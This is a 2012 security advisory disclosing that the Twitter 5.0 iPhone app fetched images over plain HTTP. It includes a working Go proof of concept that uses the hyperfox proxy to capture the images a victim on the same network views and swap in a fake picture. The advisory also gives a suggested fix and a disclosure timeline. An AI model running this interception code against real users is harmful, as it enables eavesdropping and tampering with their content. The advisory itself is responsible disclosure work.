The Twitter 5.0 application for iPhone grabs images over HTTP and due to this, allows for a man in the middle attack / image swap. Proof of concept included.
e23c89d44db9163f784b4ff04d606d1d56ae5646f4b6067a4cf9eb08c6eab232
## Twitter App vulnerable to eavesdropping
* Vendor: Twitter Inc.
* Product: Twitter 5.0
* Tested on: iPhone 4 (iOS 6.0)
* Vendor notification: Nov 10, 2012.
* Risk level: Low
* Researcher: Carlos Reventlov
* Link: http://reventlov.com/advisories/twitter-app-vulnerable-to-partial-mitm
The Twitter 5.0 app for the iPhone is vulnerable to eavesdropping via
[Man In The Middle][1], this vulnerability can lead an attacker on the same
local area network (LAN) to capture and/or modify pictures the victim
is seeing on the Twitter app.
### Details
The Twitter app communicates with the Twitter API via HTTPs connections,
however, picture images server by *.twimg.com are received through simple HTTP.
### Proof of concept
Read http://reventlov.com/advisories/twitter-app-vulnerable-to-partial-mitm
to see the PoC's screen captures.
This custom [hyperfox][2] server will listen on `:9999`. This PoC
captures pictures the user is seeing and sends a
bogus picture (`spoof.jpg`) instead of the original. Read the
[hyperfox][2] docs to know how to launch this PoC.
Only images on the *.twimg.com domain are targeted.
```go
/*
Twitter App, eavesdroping PoC
Written by Carlos Reventlov <carlos@reventlov.com>
License MIT
*/
package main
import (
"fmt"
"github.com/xiam/hyperfox/proxy"
"github.com/xiam/hyperfox/tools/logger"
"io"
"log"
"os"
"path"
"strconv"
"strings"
)
const imageFile = "spoof.jpg"
func init() {
_, err := os.Stat(imageFile)
if err != nil {
panic(err.Error())
}
}
func replaceAvatar(pr *proxy.ProxyRequest) error {
stat, _ := os.Stat(imageFile)
image, _ := os.Open(imageFile)
host := pr.Response.Request.Host
if strings.HasSuffix(host, "twimg.com") == true {
if pr.Response.ContentLength != 0 {
file := "saved" + proxy.PS + pr.FileName
var ext string
contentType := pr.Response.Header.Get("Content-Type")
switch contentType {
case "image/jpeg":
ext = ".jpg"
case "image/gif":
ext = ".gif"
case "image/png":
ext = ".png"
case "image/tiff":
ext = ".tiff"
}
if ext != "" {
fmt.Printf("** Saving image.\n")
os.MkdirAll(path.Dir(file), os.ModeDir|os.FileMode(0755))
fp, _ := os.Create(file)
if fp == nil {
fmt.Errorf(fmt.Sprintf("Could not open file %s for writing.", file))
}
io.Copy(fp, pr.Response.Body)
fp.Close()
pr.Response.Body.Close()
}
}
fmt.Printf("** Sending bogus image.\n")
pr.Response.ContentLength = stat.Size()
pr.Response.Header.Set("Content-Type", "image/jpeg")
pr.Response.Header.Set("Content-Length",
strconv.Itoa(int(pr.Response.ContentLength)))
pr.Response.Body = image
}
return nil
}
func main() {
p := proxy.New()
p.AddDirector(logger.Client(os.Stdout))
p.AddInterceptor(replaceAvatar)
p.AddLogger(logger.Server(os.Stdout))
var err error
err = p.Start()
if err != nil {
log.Printf(fmt.Sprintf("Failed to bind: %s.\n", err.Error()))
}
}
```
### Suggested fix
Use HTTPs for serving *.twimg.com images so that an attacker would not be able
to capture or modify avatars or (possible private) uploaded images.
## Disclosure timeline
* Nov 10, 2012 Vulnerability discovered.
* Nov 10, 2012 Vendor contacted.
* Nov 15, 2012 Vendor response: "planned to be fixed on next release".
* Nov 15, 2012 New release 5.1, bug is patched.
* Nov 16, 2012 Full disclosure.
[1]: http://en.wikipedia.org/wiki/Man-in-the-middle_attack
[2]: http://reventlov.com/projects/hyperfox